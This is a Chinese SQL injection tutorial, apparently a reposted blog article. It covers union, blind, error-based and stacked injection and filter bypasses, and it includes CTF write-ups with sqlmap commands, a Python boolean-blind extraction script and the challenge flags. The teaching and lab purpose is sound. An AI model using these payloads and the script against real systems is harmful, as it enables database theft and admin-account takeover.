什么叫做SQL注入:开发者在程序编写过程中,对传入用户数据的过滤不严格,将可能存在的攻击载荷拼接到SQL查询语句中,再将这些查询语句传递给后端的数据库执行,从而引发实际执行的语句与预期功能不一致的情况。这种攻击被称为SQL注入攻击。
一、SQL注入基础:
SQL注入:是开发者对用户输入的参数过滤不严格,导致用户输入的数据能够影响预设查询功能的一种技术,通常将导致数据库的原有信息泄露、篡改,甚至被删除。
数字型注入和UNION注入:

# 用户是怎样通过前端语句查询到后端数据的呢,举个例子:
原本的查询语句:
$res = mysqli_query($sconn,"SELECT title,content FROM wp_news WHERE id=".$_GET['id']);
前端URL:http://xxx.xxx.xxx.xxx/sql1.php?id=1
此时的$_GET['id']被赋值为1
MySQL收到的语句:
SELECT title,content FROM wp_news WHERE id= 1复制
数字型注入:
# 什么叫做数字型注入? 举个简单的例子
http://xxx.xxx.xxx.xxx/sql1.php?id=2 -----> 2页面可以正常访问,查询到2的记录
http://xxx.xxx.xxx.xxx/sql1.php?id=3-1 -----> 还是2这个页面,并且查询到2的记录
从数字运算这个特征行为可以判断该注入点为数字型注入,表现为输入点“$_GET['id']”附近没有引号包裹(从源码也可以证明这点),这时我们可以直接输入SQL查询语句来干扰正常的查询复制
UNION(联合查询)注入:
通常把使用UNION语句将数据展示到页面上的注入办法称为UNION(联合查询)注入。
UNION 操作符用于合并两个或多个 SELECT 语句的结果集。
请注意,UNION 内部的 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每条 SELECT 语句中的列的顺序必须相同。
SELECT column_name(s) FROM table_name1
UNION
SELECT column_name(s) FROM table_name2复制
补充:
MySQL 5.0版本后,默认自带一个数据库information_schema,MySQL的所有数据库名、表名、字段名都可以从中查询到。
table_name字段是information_schema库的tables表的表名字段。
表中还有数据库名字段table_schema。
而database()函数返回的内容是当前数据库的名称,group_concat是用“,”联合多行记录的函数。
也就是说,该语句可以联合查询当前库的所有(事实上有一定的长度限制)表名并显示在一个字段中。复制
字符型注入和布尔盲注:
字符型注入:

# sql1.php :
$res = mysqli_query($sconn,"SELECT title,content FROM wp_news WHERE id=".$_GET['id']);
# sql2.php:
$res = mysqli_query($sconn,"SELECT title,content FROM wp_news WHERE id='".$_GET['id']."'");
sql2.php其实与sql1.php相比,它只是在GET参数输入的地方包裹了单引号,让其变成字符串。
在MySQL中,等号两边如果类型不一致,则会发生强制转换。
当数字与字符串数据比较时,字符串将被转换为数字,再进行比较。
字符串1与数字相等;字符串1a被强制转换成1,与1相等;字符串a被强制转换成0所以与0相等。
按照这个特性,我们容易判断输入点是否为字符型,也就是是否有引号(可能是单引号也可能是双引号,绝大多数情况下是单引号)包裹。
尝试使用单引号来闭合前面的单引号,再用“--%20”或“%23”注释后面的语句。
注意,这里一定要URL编码,空格的编码是“%20”,“#”的编码是“%23”。
SELECT title,content FROM wp_news WHERE id='1'#
输入的单引号闭合了前面预置的单引号,输入的“#”注释了后面预置的单引号,查询语句成功执行。
当然,除了注释,也可以用单引号来闭合后面的单引号。
原本的查询语句:
$res = mysqli_query($sconn,"SELECT title,content FROM wp_news WHERE id='".$_GET['id']."'");
前端URL:http://XXX.XXX.XXX.XXX/sql2.php?id=1'and'1
此时的$_GET['id']被赋值为:1'and'1
MySQL收到的语句:
SELECT title,content FROM wp_news WHERE id=''
SELECT title,content FROM wp_news WHERE id='1'and'1'
这里,AND代表需要同时满足两个条件,一个是id=1,另一个是'1'。
由于字符串'1'被强制转换成True,代表这个条件成立,因此数据库查询出id=1的记录。复制
布尔盲注:
# 布尔盲注:
SELECT title,content FROM wp_news WHERE id='1'and'a'
第1个条件仍为id=1,第2个条件字符串'a'被强制转换成逻辑假,所以条件不满足,查询结果为空。
当页面显示为sqli时,AND后面的值为真,当页面显示为空时,AND后面的值为假。
虽然我们看不到直接的数据,但是可以通过注入推测出数据,这种技术被称为布尔盲注
# 在这种情况下如何获取数据呢?
先试探这个数据是否为'a',如果是,则页面显示id=1的回显,否则页面显示空白;
再试探这个数据是否为'b',如果数据只有1位,那么只要把可见字符都试一遍就能猜到。
# 假设被猜测的字符是'f'
# 方法一,逐个猜测:比较费时间
http://XXX.XXX.XXX.XXX/sql2.php?id=1'and'f'='a' -----> 1 and f=a(0) -----> 1 and 0 X
http://XXX.XXX.XXX.XXX/sql2.php?id=1'and'f'='b' -----> 1 and f=b(0) -----> 1 and 0 X
http://XXX.XXX.XXX.XXX/sql2.php?id=1'and'f'='c' -----> 1 and f=c(0) -----> 1 and 0 X
http://XXX.XXX.XXX.XXX/sql2.php?id=1'and'f'='d' -----> 1 and f=d(0) -----> 1 and 0 X
http://XXX.XXX.XXX.XXX/sql2.php?id=1'and'f'='e' -----> 1 and f=e(0) -----> 1 and 0 X
http://XXX.XXX.XXX.XXX/sql2.php?id=1'and'f'='f' -----> 1 and f=f(1) -----> 1 and 1 √ ------> id = 1
# 方法二,二分法:
复制
Sleep()基于时间盲注:
通过修改sleep( )函数中的参数,我们可以延时更长,来保证是注入导致的延时,而不是业务正常处理导致的延时。与回显的盲注的直观结果不同,通过sleep( )函数,利用IF条件函数或AND、OR函数的短路特性和SQL执行的时间判断SQL攻击的结果,这种注入的方式被称为时间盲注。
报错注入:
此时,只要触发SQL语句的错误,即可在页面上看到错误信息,见图1-2-33。这种攻击方式则是因为MySQL会将语句执行后的报错信息输出,故称为报错注入。

堆叠注入:
当目标开启多语句执行的时候,可以采用多语句执行的方式修改数据库的任意结构和数据,这种特殊的注入情况被称为堆叠注入。

数字型注入、UNION注入、布尔盲注、时间盲注、报错注入,这些是在后续注入中需要用到的基础。根据获取数据的便利性,这些注入技巧的使用优先级是:UNION注入>报错注入>布尔盲注>时间盲注。 堆叠注入不在排序范围内,因为其通常需要结合其他技巧使用才能获取数据。
二、注入点:
本节将从SQL语句的语法角度,从不同的注入点位置讲述SQL注入的技巧。
SELECT 注入:
SELECT语句用于数据表记录的查询,常在界面展示的过程使用,如新闻的内容、界面的展示等。 SELECT语句的语法如下:
注入点在select_expr(列表达式):
SELECT语法

此时可以采取时间盲注进行数据获取,不过根据MySQL的语法,我们有更优的方法,利用AS别名的方法,直接将查询的结果显示到界面中。
访问链接http://XXX.XXX.XXX.XXX/sqln1.php?id=(select%20pwd%20from%20wp_user)%20as%20title复制
数据库别名AS区别 SQL别名
注入点在table_reference:
table_reference
关键词代表查询数据来自的一个或多个表;SQL基础语法 - SELECT语句
$res = mysqli_query($conn, "SELECT title FROM ${_GET['table']}");
SELECT title FROM (SElECT pwd AS title FROM wp_user)x;复制
当然,在不知表名的情况下,可以先从information_schema.tables中查询表名。在select_expr和table_reference的注入,如果注入的点有反引号包裹,那么需要先闭合反引号。读者可以在自己本地测试具体语句。
注入点在WHERE或HAVING后:
$res = mysqli_query($conn, "SELECT title FROM wp_news WHERE id = ${_GET['id']}");
复制
也是现实中最常遇到的情况,要先判断有无引号包裹,再闭合前面可能存在的括号,即可进行注入来获取数据。 注入点在HAVING后的情况与之相似。 SQL HAVING 子句
注入点在GROUP BY或ORDER BY后:
当遇到不是WHERE后的注入点时,先在本地的MySQL中进行尝试,看语句后面能加什么,从而判断当前可以注入的位置,进而进行针对性的注入。
$res = mysqli_query($conn, "SELECT title FROM wp_news WHERE GROUP BY ${_GET['title']}");
title=id desc,(if(1,sleep(1),1))会让页面迟1秒,于是可以利用时间注入获取相关数据。
防御:只要对输入的值进行白名单比对,基本上就能防御这种注入。复制
注入点在LIMIT后:
前提:MySQL版本 < 5.6
LIMIT后的注入判断比较简单,通过更改数字大小,页面会显示更多或者更少的记录数。
由于语法限制,前面的字符注入方式不可行(LIMIT后只能是数字),在整个SQL语句没有ORDER BY关键字的情况下,可以直接使用UNION注入。
PROCEDURE analyse((SELECT extractvalue(l, concat(ox3a, (IF(MID(VERSION(),1,1)LIKE 5,BENCHMARK〔500000,SHA1(1)),1)))),1)复制
INSERT注入:
INSERT语句是插入数据表记录的语句,网页设计中常在添加新闻、用户注册、回复评论的地方出现。

通常,注入位于字段名或者字段值的地方,且没有回显信息。
注入点位于tbl_name:
如果能够通过注释符注释后续语句,则可直接插入特定数据到想要的表内,如管理员表。
$res = mysqli_query($conn,"INSERT INTO {$_GET['table']} VALUES(2, 2, 2, 2)");
http://XXX.XXX.XXX.XXX/insert.php?table=wp_uservalues(2,'newadmin','newpass')%23复制
开发者预想的是,控制table的值为wp_news,从而插入新闻表数据。
注入点位于VALUES:
INSERT INTO wp_user VALUES〔1,1,'可控位置');
INSERT INTO wp_user VALUES(1, 0,1)(2,1,'aaa');复制
如果用户表的第2个字段代表的是管理员权限标识,便能插入一个管理员用户。 在某些情况下,我们也可以将数据插入能回显的字段,来快速获取数据。 假设最后一个字段的数据会被显示到页面上,那么采用如下语句注入,即可将第一个用户的密码显示出来:
INSERT INTO wp_user VALUES (l, 1,'1' ),(2, 2,(SELECT pwd FROM wp_user LIMIT 1));
复制
UPDATE注入:
PDATE语句适用于数据库记录的更新,如用户修改自己的文章、介绍信息、更新信息等。 UPDATE语句的语法如下:
DELETE注入:
$res = mysqli_query($conn,"DELETE FROM wp_neWs WHERE id= {$_GET['id']")}
复制
DELETE语句的作用是删除某个表的全部或指定行的数据。 对id参数进行注入时,稍有不慎就会使WHERE后的值为True,导致整个wp_news的数据被删除。 为了保证不会对正常数据造成干扰,通常使用'and sleep(1)'的方式保证WHERE后的结果返回为False,让语句无法成功执行。
注入和防御:
字符替换:
为了防御SQL注入,有的开发者直接简单、暴力地将诸如SELECT、FROM的关键字替换或者匹配拦截。
只过滤了空格:
除了空格,在代码中可以代替的空白符还有%0a、%0b、%0c、%0d、%09、%a0(均为URL编码,%a0在特定字符集才能利用)和/**/组合、括号等。

将SELECT替换成空:
遇到将SELECT替换为空的情况,可以用嵌套的方式,如SESELECTLECT形式,在经过过滤后又变回了SELECT。
$ id = str_replace("","",$sql);
$ id = str_replace("SELECT","",$sql);复制
大小写匹配:
在MySQL中,关键字是不区分大小写的,如果只匹配了"SELECT",便能用大小写混写的方式轻易绕过,如"sEleCT"。
正则匹配:
正则匹配关键字"\bselect\b"可以用形如"/!50000select/"的方式绕过
替换了单引号或双引号,忘记了反斜杠:
# 注入点:
$sqL = "SELECT * FROM wp_ news WHERE id= '可控1' AND title = '可控2'"
$sql = "SELECT FROM wp_news WHERE id ='a\' AND title ='OR sleep(1)#'"复制
可以看到,sleep()被成功执行,说明可控点2位置已经成功地逃逸引号。使用UNION注入即可获取敏感信息。
逃逸引号:
注入的重点在于逃逸引号,而开发者常会将用户的输入全局地做一次addslashes,也就是转义如单引号、反斜杠等字符,如“'”变为“'”。 在这种情况下,看似不存在SQL注入,但在某些条件下仍然能够被突破。
编码解码:
开发者常常会用到形如urldecode、base64_decode的解码函数或者自定义的加解密函数。 当用户输入addslashes函数时,数据处于编码状态,引号无法被转义,解码后如果直接进入SQL语句即可造成注入,同样的情况也发生在加密/解密、字符集转换的情况。 宽字节注入就是由字符集转换而发生注入的经典案例
意料之外的输入点:
开发者在转义用户输入时遗漏了一些可控点,以PHP为例,形如上传的文件名、http header、$_SERVER['PHP_SELF']这些变量通常被开发者遗忘,导致被注入。
二次注入:
二次注入的根源在于,开发者信任数据库中取出的数据是无害的。
用户输入的用户名admin'or'1经过转义为了admin\'or\'1,于是SQL语句为:
INSERT INTO wp_user VALUES(2, 'admin\'or\'1', 'some_pass');
SELECT password FROM wp_user WHERE username = 'admin'or'1';复制
字符串截断:
在标题、抬头等位置,开发者可能限定标题的字符不能超过10个字符,超过则会被截断。
假设攻击者输入“aaaaaaaaa'”,自动转义为“aaaaaaaaa\'”,由于字符长度限制,被截取为“aaaaaaaaa\”,正好转义了预置的单引号,这样在content的地方即可注入。
http://XXX.XXX.XXX.XXX/insert2.php?title=aaaaaaaaa\&content=,1,1),(3,4,(select%20pwd%20from%20wp_user%20limit%201),1)%23复制
注入的功效:
在有写文件权限的情况下,直接用INTO OUTFILE或者DUMPFILE向Web目录写文件,或者写文件后结合文件包含漏洞达到代码执行的效果。
在有读文件权限的情况下,用load_file()函数读取网站源码和配置信息,获取敏感数据。
提升权限,获得更高的用户权限或者管理员权限,绕过登录,添加用户,调整用户权限等,从而拥有更多的网站功能。
通过注入控制数据库查询出来的数据,控制如模板、缓存等文件的内容来获取权限,或者删除、读取某些关键文件。
在可以执行多语句的情况下,控制整个数据库,包括控制任意数据、任意字段长度等。
在SQL Server这类数据库中可以直接执行系统命令。复制
SQL注入小结:
最关键的是根据不同的SQL服务器类型,查找相关资料,通过fuzz得出被过滤掉的字符、函数、关键词等,在文档中查找功能相同但不包含过滤特征的替代品,最终完成对相关防御功能的绕过。
配套题目解析WP - SQL - 1
《从0到1:CTFer成长之路》书籍配套题目,点击即可打开 - 实验环境(i 春秋 需要登录) 点开赛题链接一看:先判断一下类型,很明显就是数值型注入
第一种解法:利用SQLmap工具

1. 检查注入点:
sqlmap -u "http://ooxx.com/a.php?id=1"
2. 列数据库信息
sqlmap -u "http://ooxx.com/a.php?id=1" --dbs
3. 指定数据库名列出所有表
sqlmap -u "http://ooxx.com/a.php?id=1" -D dbsname(数据库名) --tables
4. 指定数据库名表名列出所有字段 (爆破字段)
sqlmap -u "http://ooxx.com/a.php?id=1" -D dbsname(数据库名) -T tablename(指定表名) --columns (全部表)
5. 指定数据库名表名字段dump出指定字段
sqlmap -u "http://ooxx.com/a.php?id=1" -D dbsname(数据库名) -T tablename(指定表名) -C columnname(指定字段名) --dump (将结果导出)
6. cookie 注入 --cookie=COOKIE
在需要登录的地方,需要登录后的cookie 执行指定的 SQL 语句 --sql-query=QUERY
代理注入 --proxy="http://127.0.0.1:8087"复制
使用 sqlmap 检查一下注入点:
# 验证一下 SQLmap Payload:
id=-7802' UNION ALL SELECT NULL,CONCAT(0x7170707671,0x71646157534e716f69674449644671766777485476664a4c44657470737a4e424848566c46784f61,0x7162766271),NULL-- -复制

但这还不是flag,那就继续呗但这几个payload都不是,所以这条路走不通, 所以一步一步来。 **列数据库信息 **
指定数据库名列出所有表
指定数据库名表名列出所有字段 (爆破字段)
**指定数据库名表名字段dump出指定字段 ** ?????? 没能显示???? 那我们换一种方式,手工注入一下!!!!
第二种解法:手工注入
# 尝试union注入:
-2'union select 1,2,3# -----------> -2%27union%20select%201,2,3%23
# 尝试获取表名:
-2'union select 1,group_concat(table_name),1 from information_schema.tables where table_schema=database()# -----------> -2%27union%20select %201,group_concat(table_name),1%20from%20information_schema.tables %20where%20table_schema=database()%23
# 通过表名来获取字段名:
-2'union select 1,group_concat(column_name),1 from information_schema.columns where table_name='fl4g'# -----------> -2%27union%20select %201,group_concat(column_name),1%20from%20information_schema.columns %20where%20table_name=%27fl4g%27%23
# 通过字段名来获取flag:
-2'union select 1,fllllag,1 from fl4g# -----------> -2%27union%20select%201,fllllag,1%20from %20fl4g%23复制

最后成功得到flag: n1book{union_select_is_so_cool}
配套题目解析WP - SQL - 2
《从0到1:CTFer成长之路》书籍配套题目,点击即可打开 - 实验环境(i 春秋 需要登录) 一开始我以为这题环境进不去,后来才发现应该进的是login.php。 习惯性的查看源代码:发现:如果觉得太难了,可以在url后加入?tips=1 开启mysql错误提示,使用burp发包就可以看到啦。 我直接认输,掏出我的BP 来测试一波
鼠标右键,复制保存文件,名称自定义,将文件格式改成 .txt
方便我们后面利用我将文件命名成 3333.txt
下面将利用到。

第一种解法:利用SQLmap工具
根据题目环境,我们采用POST - 登录框注入方法。 为什么采用POST - 登录框注入方法呢?相信很多小伙伴一定会有疑问了。
像这种是登录窗口的,URL中不是以
id=xxxx
结尾的就可以采用这种方法进行尝试:http:// www.xxx.comLogin.asp
http://eci-2zeaeeh8hdp3xetqte3p.cloudeci1.ichunqiu.com/login.php
将保存的 3333.txt
,剪切到kali
里面,在终端中打开。(这属于基操,就不演示了)让我们来尝试破解吧。 尝试找到注入点,指令:sqlmap -r 文件名.txt
sqlmap -r 3333.txt
复制
爆破的得到的信息:
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: name (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: name=admin' AND 3237=3237 AND 'pPVI'='pPVI&pass=123456
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: name=admin' AND (SELECT 8314 FROM (SELECT(SLEEP(5)))Ffoa) AND 'eRQd'='eRQd&pass=123456
---复制

sqlmap爆当前数据库信息 尝试获取数据库信息,指令: sqlmap -r 文件名.txt --current-db
sqlmap -r 3333.txt --current-db
复制
爆破的得到的信息:
current database: 'note'
复制
用sqlmap爆出库名: note

sqlmap.列出指定数据库所有的表名 尝试获取列出指定数据库所有的表名,指令: sqlmap -r 文件名.txt -D note(指定数据库名) --tables
sqlmap -r 3333.txt -D note --tables
复制
爆破的得到的信息:
Database: note
[2 tables]
+-------+
| fl4g |
| users |
+-------+复制
用sqlmap爆出表名: fl4g
,users

sqlmap 列出指定表名的所有列名 尝试获取列出指定表名的所有列名,指令: sqlmap -r 文件名.txt -D note(指定数据库名 )-T fl4g(指定的表名) --columns(全部表)
sqlmap -r 3333.txt -D note -T fl4g --columns
复制
爆破的得到的信息:
Database: note
Table: fl4g
[1 column]
+--------+-------------+
| Column | Type |
+--------+-------------+
| flag | varchar(40) |
+--------+-------------+复制
用sqlmap爆出列名: flag

sqlmap 打印输出表名指定列名字段的值数据 尝试打印输出表名指定列名字段的值数据,指令: sqlmap -r 文件名.txt -D note(指定数据库名 )-T fl4g(指定的表名) -C flag(指定字段名) --dump (将结果导出)
sqlmap -r 3333.txt -D note -T fl4g -C flag --dump
复制
爆破的得到的信息:
Database: note
Table: fl4g
[1 entry]
+----------------------------+
| flag |
+----------------------------+
| n1book{login_sqli_is_nice} |
+----------------------------+复制

终于拿到 flag: n1book{login_sqli_is_nice}
大功告成。

第二种解法:利用Python脚本跑
利用脚本进行布尔型注入 脚本内涉及的信息根据自己用bp截取的数据进行修改。
import requests
def Get(url):
result = ''
for i in range(1, 100):
left = 32
right = 128
mid = (left + right) // 2
while left < right:
# 查询表名
# name = "admin' and if(ascii(mid((Select group_concat(table_name) from information_schema.tables " \
# "where table_schema=database()),{0},1))>{1},1,0)#".format(i,mid)
# 查询列名
# name = "admin' and if(ascii(mid((Select group_concat(column_name) from information_schema.columns " \
# "where table_schema=database() and table_name='fl4g'),{0},1))>{1},1,0)#".format(i,mid)
# 根据表名和列名查询字段值
name = "admin' and if(ascii(mid((Select flag from fl4g),{0},1))>{1},1,0)#".format(i, mid)
data = {"name": name, "pass": "1223234"}
res = requests.post(url, data)
# 这里输入你的正确回显参数 :{"error":1,"msg":"\u8d26\u53f7\u6216\u5bc6\u7801\u9519\u8bef"}
if "\\u8d26\\u53f7\\u6216\\u5bc6\\u7801\\u9519\\u8bef" in res.content.decode():
left = mid + 1
else:
right = mid
mid = (left + right) // 2
# 查询结果结束
if mid == 32:
break
result += chr(mid)
print(result)
print(result)
# 这里你的输入URL:
Get('http://eci-2ze95405pp0e0j1nojmj.cloudeci1.ichunqiu.com/login.php')复制
得到 flag: n1book{login_sqli_is_nice}
大功告成。

拓展:
Defcon China 靶场题 - 内网渗透Writeup SQLmap 工具注入参考资料: SQLmap 注入教程 SQL map 注入教程
文章转载自在下小黄,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。
评论
相关阅读
数据库国产化替代深化:DBA的机遇与挑战
代晓磊
1297次阅读
2025-04-27 16:53:22
2025年4月国产数据库中标情况一览:4个千万元级项目,GaussDB与OceanBase大放异彩!
通讯员
776次阅读
2025-04-30 15:24:06
【活动】分享你的压箱底干货文档,三篇解锁进阶奖励!
墨天轮编辑部
531次阅读
2025-04-17 17:02:24
一页概览:Oracle GoldenGate
甲骨文云技术
496次阅读
2025-04-30 12:17:56
GoldenDB数据库v7.2焕新发布,助力全行业数据库平滑替代
GoldenDB分布式数据库
478次阅读
2025-04-30 12:17:50
优炫数据库成功入围新疆维吾尔自治区行政事业单位数据库2025年框架协议采购!
优炫软件
365次阅读
2025-04-18 10:01:22
给准备学习国产数据库的朋友几点建议
白鳝的洞穴
343次阅读
2025-05-07 10:06:14
XCOPS广州站:从开源自研之争到AI驱动的下一代数据库架构探索
韩锋频道
313次阅读
2025-04-29 10:35:54
MySQL 30 周年庆!MySQL 8.4 认证免费考!这次是认真的。。。
数据库运维之道
289次阅读
2025-04-28 11:01:25
国产数据库图谱又上新|82篇精选内容全览达梦数据库
墨天轮编辑部
284次阅读
2025-04-23 12:04:21